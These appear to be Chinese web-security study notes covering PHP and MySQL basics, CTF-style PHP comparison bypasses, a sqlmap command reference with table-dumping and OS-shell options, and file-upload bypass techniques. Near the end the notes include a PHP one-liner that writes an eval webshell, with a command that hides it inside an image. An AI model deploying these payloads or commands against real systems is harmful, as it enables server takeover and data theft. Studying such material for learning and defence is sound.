PHP、MySQL基础语法 / sqlmap使用 / 文件上传漏洞

Web知识(学习笔记)

PHP(Hypertext Preprocessor,超文本预处理器)基础语法

PHP 脚本以 <?php 开始,以 ?> 结束。
PHP 脚本可以放在文档中的任何位置。
PHP 文件的默认文件扩展名是 “.php”。
PHP 中的每个代码行都必须以分号结束。分号是一种分隔符,用于把指令集区分开来。这点和C语言的规则一样。
输出文本的基础指令:echo 和 print。同c语言中的printf输出指令。
php注释的三种形式:以“/”和“/”闭合多行注释符;“//”和"#"开始的单行注释符。

变量
第一次赋值,就创建了变量。必须使用"$"后跟变量名表示。再次给该变量赋值会覆盖之前的变量。
变量名区分大小写。但内置结构和关键字以及用户自定义的类名和函数名都是不区分大小写的。

在这里插入图片描述

变量类型

标量类型
boolean(布尔型)
当我们用”echo”指令输出布尔类型时,如果是“true”则输出的是“1”,“false”则什么也不输出。我们可以使用“var_dump”函数,获取它真正的数据类型。

integer(整型)
有最大范围2 147 483 647 。PHP不支持无符号整数,如果给定的数超出最大范围,将会被解释为float。

float(浮点型)
永远不要比较两个浮点数是否相等。
如果需要更高的精度,应该使用任意精度数学函数或gmp()函数。

string(字符串)
如果要在单引号中引用单引号,需要使用反斜杠()转义。

在这里插入图片描述

复合类型:
array(数组):使用print_r()函数查看数组中的全部内容。
object(对象):->:表示对象属性、方法的引用。
在这里插入图片描述

特殊类型
resource(资源)
资源是由专门的函数来建立和使用的,例如打开文件、数据连接、图形画布。我们可以对资源进行操作(创建、使用和释放)。任何资源,在不需要的时候应该被及时释放。如果我们忘记了释放资源,系统自动启用垃圾回收机制,在页面执行完毕后回收资源,以避免内存被消耗殆尽。

NULL(空类型)
可通过函数var_dump()查看某个表达式的值和类型。
NULL不表示空格,也不表示零,也不是空字符串,而是表示一个变量的值为空。
将变量直接赋值为NULL;声明的变量尚未被赋值;被unset()函数销毁的变量。这些情况下一个变量被认为NULL。

CTF中常见的PHP漏洞

md5()漏洞
把每一个以” 0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以” 0E”开头的,那么PHP将会认为他们相同,都是0。

在这里插入图片描述

输出结果为:md5 is bad

md5,是不能处理数组的。

在这里插入图片描述
在这里插入图片描述

返回NULL值。
所以总结绕过md5(str)==0的方法:
开头为0或0e绕过;
数组;
开头没有数字都都可以,比如"c9f0f895fb98ab9159f51fd0297e236d"==0成立。

strcmp()函数漏洞
strcmp()函数用于比较两个字符串。
例如:strcmp( string$ str1, string$ str2),参数str1第一个字符串.str2第二个字符串。如果str1小于str2返回<0;如果str1大于str2返回> 0;如果两者相等,返回0。但是如果此函数参数中有一个不合法的参数(对象,数组等),就会报错并返回0。

ereg函数漏洞:00截断
ereg ("1+$", $_GET[‘password’]) === FALSE
字符串对比解析 :
在这里如果 $_GET[‘password’]为数组,则返回值为NULL ,null!=false。
如果为123 || asd || 12as || 123%00&&&**,则返回值为true ,%00直接截断;
其余为false。
ereg()区分大小写,eregi()不区分大小写。

变量覆盖
$可以用来赋值变量名也能导致变量覆盖。

在这里插入图片描述

preg_match
如果在进行正则表达式匹配的时候,没有限制字符串的开始和结束(^ 和 $),则可以存在绕过的问题。

Unset
unset(bar);用来销毁指定的变量,如果变量bar 包含在请求参数中,可能出现销毁一些变量而实现程序逻辑绕过。

switch()
如果switch是数字类型的case的判断时,switch会将其中的参数转换为int类型,效果相当于intval函数。

在这里插入图片描述

in_array()
在所有php认为是int的地方输入string,都会被强制转换。
在这里插入图片描述

MySQL基础语法

连接数据库
在MySQL / bin目录下找到mysql.exe文件,为方便还可以创建此快捷方式,放在桌面。

在这里插入图片描述

或者通过cmd进入mysql / bin的目录下,进入数据库并输入:mysql -h 地址 -u 用户名 -p 密码
例如: mysql -h 127.0.0.1 -u root -proot

在这里插入图片描述

退出:exit;

数据库操作
create 创建数据库
create database 数据库名 [数据库选项]
例如: create database test default charset utf8 collate utf8_bin;
字符集:一般默认utf8;
校对规则常见:
(1)ci结尾的:不分区大小写。
(2)cs结尾的:区分大小写。
(3)bin结尾的:二进制编码进行比较。
查看数据库的创建语句:show create database 数据库名。

alter 修改数据库的选项信息
alter database 数据库名 [新的数据库选项];
例如: alter database test default charset gbk;
drop 删除数据库:drop database 数据库名;
use 进入指定的数据库:use 数据库名。

表的操作
create 创建数据表:create table 表名

在这里插入图片描述

show 查询当前数据库下有哪些数据表:show tables;

like模糊查询:show tables like ‘模糊查询表名%’;

查看表的创建语句:show create table 表名;

查看表的结构:desc 表名。

drop 删除数据表:drop table [if exists] 表名
例如: drop table if exists test;

alter 修改表名:alter table 旧表名 rename to 新表名;

add 增加一列:alter table 表名 add 新列名 字段类型 [字段选项];
例如: alter table test add name char(10) not null default ‘’ comment ‘名字’;

drop 删除一列:alter table 表名 drop 字段名;
例如: alter table test drop content;

modify 修改字段类型:alter table 表名 modify 字段名 新的字段类型 [新的字段选项];
例如: alter table test modify name varchar(100) not null default ‘admin’ comment ‘修改后名字’;

first 修改字段排序,把某个字段放在最前面:alter table 表名 modify 字段名 字段类型 [字段选项] first;
例如: alter table test modify name varchar(100) not null default ‘admin’ comment ‘最前面’ first;

change 重命名字段:alter table 表名 change 原字段名 新字段名 新的字段类型 [新的字段选项];
例如: alter table test change name username varchar(50) not null default ‘’ comment ‘用户名字’;

修改表选项:alter table 表名 表选项信息;
例如: alter table test engine Myisam default charset gbk;

数据操作
insert 插入数据:insert into 表名(字段列表) values(值列表);

select 查询数据:select *[字段列表] from 表名[查询条件];

例如: select * from user;(*代表查全部字段)

在这里插入图片描述

delete 删除数据:delete from 表名[删除条件];
例如: delete from user where age<1;–删除age小于1数据。

update 修改数据:update 表名 set 字段1=新值1,字段n=新值n [修改条件];
例如: update user set age=100 where name=‘admin_a’

MySQL数据类型
数值型

在这里插入图片描述

字符串型

在这里插入图片描述

日期时间型

在这里插入图片描述

MySQL列属性
MySQL真正约束字段的是数据类型,但是数据类型的约束太单一,需要有一些额外的约束,来更加保证数据的合法性。
MySQL常用列属性有:null、not null、default、primary key、auto_increment、comment。
空属性: null(空,默认) 和 not null(不为空)。
default: 自定义默认值属性,通常配合not null一起使用。

索引
索引是一种特殊的文件(InnoDB数据表上的索引是表空间的一个组成部分),它们包含着对数据表里所有记录的引用指针。能加快数据库的查询速度,加速表和表之间的连接;使用分组和排序子句对数据检索时,减少检索时间;在查询的过程中,使用优化隐藏器,提高系统的性能。但是创建索引和维护索引要耗费时间,时间随着数据量的增加而增加;索引需要占用物理空间和数据空间;表中的数据操作插入、删除、修改, 维护数据速度下降。

没有索引的情况,数据库会遍历全部数据后选择符合条件的选项。

索引分为聚集索引和非聚集索引两种,聚集索引是索引中键值的逻辑顺序决定了表中相应行的物理顺序,而非聚集索引是不一样。
聚集索引能提高多行检索的速度,而非聚集索引对于单行的检索很快。

索引种类
普通索引: 仅加速查询。
唯一索引: 加速查询 + 列值唯一(可以有null)。
主键索引: 加速查询 + 列值唯一(不可以有null)+ 表中只有一个。
组合索引: 多列值组成一个索引,专门用于组合搜索,其效率大于索引合并。
全文索引: 对文本的内容进行分词,进行搜索 (目前仅有MyISAM引擎支持)。

创建主键索引

在这里插入图片描述

创建索引:create [unique唯一索引][clustered聚集索引] index <索引名>on <表名>(<列名称>[<排序>],<列名称>[<排序>]…);

创建唯一索引(unique key 简写 unique)
例如:create unique index number on student(seat_number desc);

在这里插入图片描述

创建普通索引
例如:create index name_class on student(name asc,class desc);
在这里插入图片描述

删除索引:drop index <索引名> on 表名;
例如:drop index number on student;
在这里插入图片描述

sql注入原理

利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

sql注入的分类
根据数据传输方式:GET型 POST型 COOKie型;
根据数据类型:数字型、字符型。

sql注入一般步骤
判断是什么类型注入,有没过滤了关键字,可否绕过。
获取数据库用户,版本,当前连接的数据库等信息。
获取某个数据库表的信息。
获取列信息。
最后就获取数据了。

Sqlmap使用

注入模式
基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
联合查询注入,可以使用union的情况下的注入。
堆查询注入,可以同时执行多条语句的执行时的注入。

支持的数据库
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。

基本格式
sqlmap -u “http://www.vuln.cn/post.php?id=1″
默认使用level1检测全部数据库类型。
sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3

cookie注入
sqlmap -u “http://www.baidu.com/shownews.asp” –cookie “id=11″ –level 2(只有level达到2才会检测cookie)

从post数据包中注入
sqlmap -r “c:\tools\request.txt” -p “username” –dbms

获取数据库基本信息
sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3 –dbs

查询有哪些数据库
sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3 -D test –tables

查询test数据库中有哪些表
sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3 -D test -T admin –columns

查询test数据库中admin表有哪些字段
sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3 -D test -T admin -C “username,password” –dump
dump出字段username与password中的数据。

sqlmap命令
–is-dba 当前用户权限(是否为root权限)。
–dbs 所有数据库。
–current-db 网站当前数据库。
–users 所有数据库用户。
–current-user 当前数据库用户。
–random-agent 构造随机user-agent。
–passwords 数据库密码。
–proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理。
–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)。

Options(选项)
–version 显示程序的版本号并退出。
-h, –help 显示此帮助消息并退出。
-v VERBOSE 详细级别:0-6(默认为1)。

Target(目标)
-d DIRECT 直接连接到数据库。
-u URL, –url=URL 目标URL。
-l LIST 从Burp或WebScarab代理的日志中解析目标。
-r REQUESTFILE 从一个文件中载入HTTP请求。
-g GOOGLEDORK 处理Google dork的结果作为目标URL。
-c CONFIGFILE 从INI配置文件中加载选项。

Request(请求)
指定如何连接到目标URL。
–data=DATA 通过POST发送的数据字符串。
–cookie=COOKIE HTTP Cookie头。
–cookie-urlencode URL 编码生成的cookie注入。
–drop-set-cookie 忽略响应的Set – Cookie头信息。
–user-agent=AGENT 指定 HTTP User – Agent头。
–random-agent 使用随机选定的HTTP User – Agent头。
–referer=REFERER 指定 HTTP Referer头。
–headers=HEADERS 换行分开,加入其他的HTTP头。
–auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)。
–auth-cred=ACRED HTTP身份验证凭据(用户名:密码)。
–auth-cert=ACERT HTTP认证证书(key_file,cert_file)。
–proxy=PROXY 使用HTTP代理连接到目标URL。
–proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)。
–ignore-proxy 忽略系统默认的HTTP代理。
–delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒。
–timeout=TIMEOUT 等待连接超时的时间(默认为30秒)。
–retries=RETRIES 连接超时后重新连接的时间(默认3)。
–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式。
–safe-url=SAFURL 在测试过程中经常访问的url地址。
–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL。

Enumeration(枚举)
用来列举后端数据库管理系统的信息、表中的结构和数据。
-b, –banner 检索数据库管理系统的标识。
–current-user 检索数据库管理系统当前用户。
–current-db 检索数据库管理系统当前数据库。
–is-dba 检测DBMS当前用户是否DBA。
–users 枚举数据库管理系统用户。
–passwords 枚举数据库管理系统用户密码哈希。
–privileges 枚举数据库管理系统用户的权限。
–roles 枚举数据库管理系统用户的角色。
–dbs 枚举数据库管理系统数据库。
-D DBname 要进行枚举的指定数据库名。
-T TBLname 要进行枚举的指定数据库表(如:-T tablename –columns)。
–tables 枚举的DBMS数据库中的表。
–columns 枚举DBMS数据库表列。
–dump 转储数据库管理系统的数据库中的表项。
–dump-all 转储所有的DBMS数据库表中的条目。
–search 搜索列(S),表(S)和/或数据库名称(S)。
-C COL 要进行枚举的数据库列。
-U USER 用来进行枚举的数据库用户。
–exclude-sysdbs 枚举表时排除系统数据库。
–start=LIMITSTART 第一个查询输出进入检索。
–stop=LIMITSTOP 最后查询的输出进入检索。
–first=FIRSTCHAR 第一个查询输出字的字符检索。
–last=LASTCHAR 最后查询的输出字字符检索。
–sql-query=QUERY 要执行的SQL语句。
–sql-shell 提示交互式SQL的shell。

Optimization(优化)
-o 开启所有优化开关。
–predict-output 预测常见的查询输出。
–keep-alive 使用持久的HTTP(S)连接。
–null-connection 从没有实际的HTTP响应体中检索页面长度。
–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)。

Injection(注入)
-p TESTPARAMETER 可测试的参数(S)。
–dbms=DBMS 强制后端的DBMS为此值。
–os=OS 强制后端的DBMS操作系统为这个值。
–prefix=PREFIX 注入payload字符串前缀。
–suffix=SUFFIX 注入payload字符串后缀。
–tamper=TAMPER 使用给定的脚本(S)篡改注入数据。

Detection(检测)
用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。
–level=LEVEL 执行测试的等级(1-5,默认为1)。
–risk=RISK 执行测试的风险(0-3,默认为1)。
–string=STRING 查询时有效时在页面匹配字符串。
–regexp=REGEXP 查询时有效时在页面匹配正则表达式。
–text-only 仅基于在文本内容比较网页。

Techniques(技巧)
–technique=TECH SQL注入技术测试(默认BEUST)。
–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)。
–union-cols=UCOLS 定列范围用于测试UNION查询注入。
–union-char=UCHAR 用于暴力猜解列数的字符。

Windows注册表访问
用来访问后端数据库管理系统Windows注册表。
–reg-read 读一个Windows注册表项值。
–reg-add 写一个Windows注册表项值数据。
–reg-del 删除Windows注册表键值。
–reg-key=REGKEY Windows注册表键。
–reg-value=REGVAL Windows注册表项值。
–reg-data=REGDATA Windows注册表键值数据。
–reg-type=REGTYPE Windows注册表项值类型。
Operating system access(操作系统访问)。
–os-cmd=OSCMD 执行操作系统命令。
–os-shell 交互式的操作系统的shell。
–os-pwn 获取一个OOB shell,meterpreter或VNC。
–os-smbrelay 一键获取一个OOB shell,meterpreter或VNC。
–os-bof 存储过程缓冲区溢出利用。
–priv-esc 数据库进程用户权限提升。
–msf-path=MSFPATH Metasploit Framework本地的安装路径。
–tmp-path=TMPPATH 远程临时文件目录的绝对路径。

文件上传漏洞原理

大部分网站和应用系统都有上传功能,而没有对上传的文件进行严格限定,可以通过工具上传一个可执行文件(可以是木马,病毒,恶意脚本或webshell等)到服务器并执行,就会拿到一个可执行环境,在服务器上搞破坏。

文件上传漏洞绕过

客户端检测绕过(js检测):利用firebug禁用js或使用burp代理工具可轻易突破。

服务端MIME检测绕过(Content-Type检测):使用burp代理,修改Content-Type的参数。

服务端扩展名检测绕过
文件名大小写绕过,例如Php,AsP等类似的文件名。
后缀名字双写嵌套,例如pphphp,asaspp等。
可以利用系统会对一些特殊文件名做默认修改的系统特性绕过
可以利用asp程序中的漏洞,使用截断字符绕过
可以利用不再黑名单列表中却能够成功执行的同义后缀名绕过黑名单的限制
可以利用解析/包含漏洞配合上传一个代码注入过的白名单文件绕过。

服务端内容检测绕过
通过在文件中添加正常文件的标识或其他关键字符绕过。
文件加载检测绕过,针对渲染加载测试。
代码注入绕过,针对二次渲染测试。

服务器解析漏洞:
Apache解析漏洞:
Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php。
IIS解析漏洞:
在test.asp/ jkl , IIS 的某些版本中会直接当成asp来解析; test.asp;jkl ,IIS某些版本也会按照asp 来解析;任意文件名/任意文件名.php,IIS 某些版本会直接当php来解析。
IIS6.0 在解析 asp 时有两个解析漏洞,一个是如果任意目录名包含 .asp 字符串,那么这个目录下的所有文件 都会按照 asp 去解析,另一个是文件名中含有 asp; 就会优先当作 asp 来解析。
IIS7.0/7.5 对php解析有所类似于 Nginx 的解析漏洞。只要对任意文件名在url后面追加上 字符串 / 任意文件名.php 就会按照php去解析。
例如,上传test.jpg,然后访问test.jpg/.php或test.jpg/abc.php当前目录下就会生成一句话木马 shell.php
Nginx解析漏洞:
将shell语句,如<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>’);?>
写在文本xx.txt中,然后用命令将shell语句附加在正常图片xx.jpg后copy xx.jpg/b + xx.txt/a test.jpg
上传test.jpg,然后访问test.jpg/.php或test.jpg/abc.php当前目录下就会生成一句话木马 shell.php 。


  1. a-zA-Z0-9 ↩︎

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Goodric

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值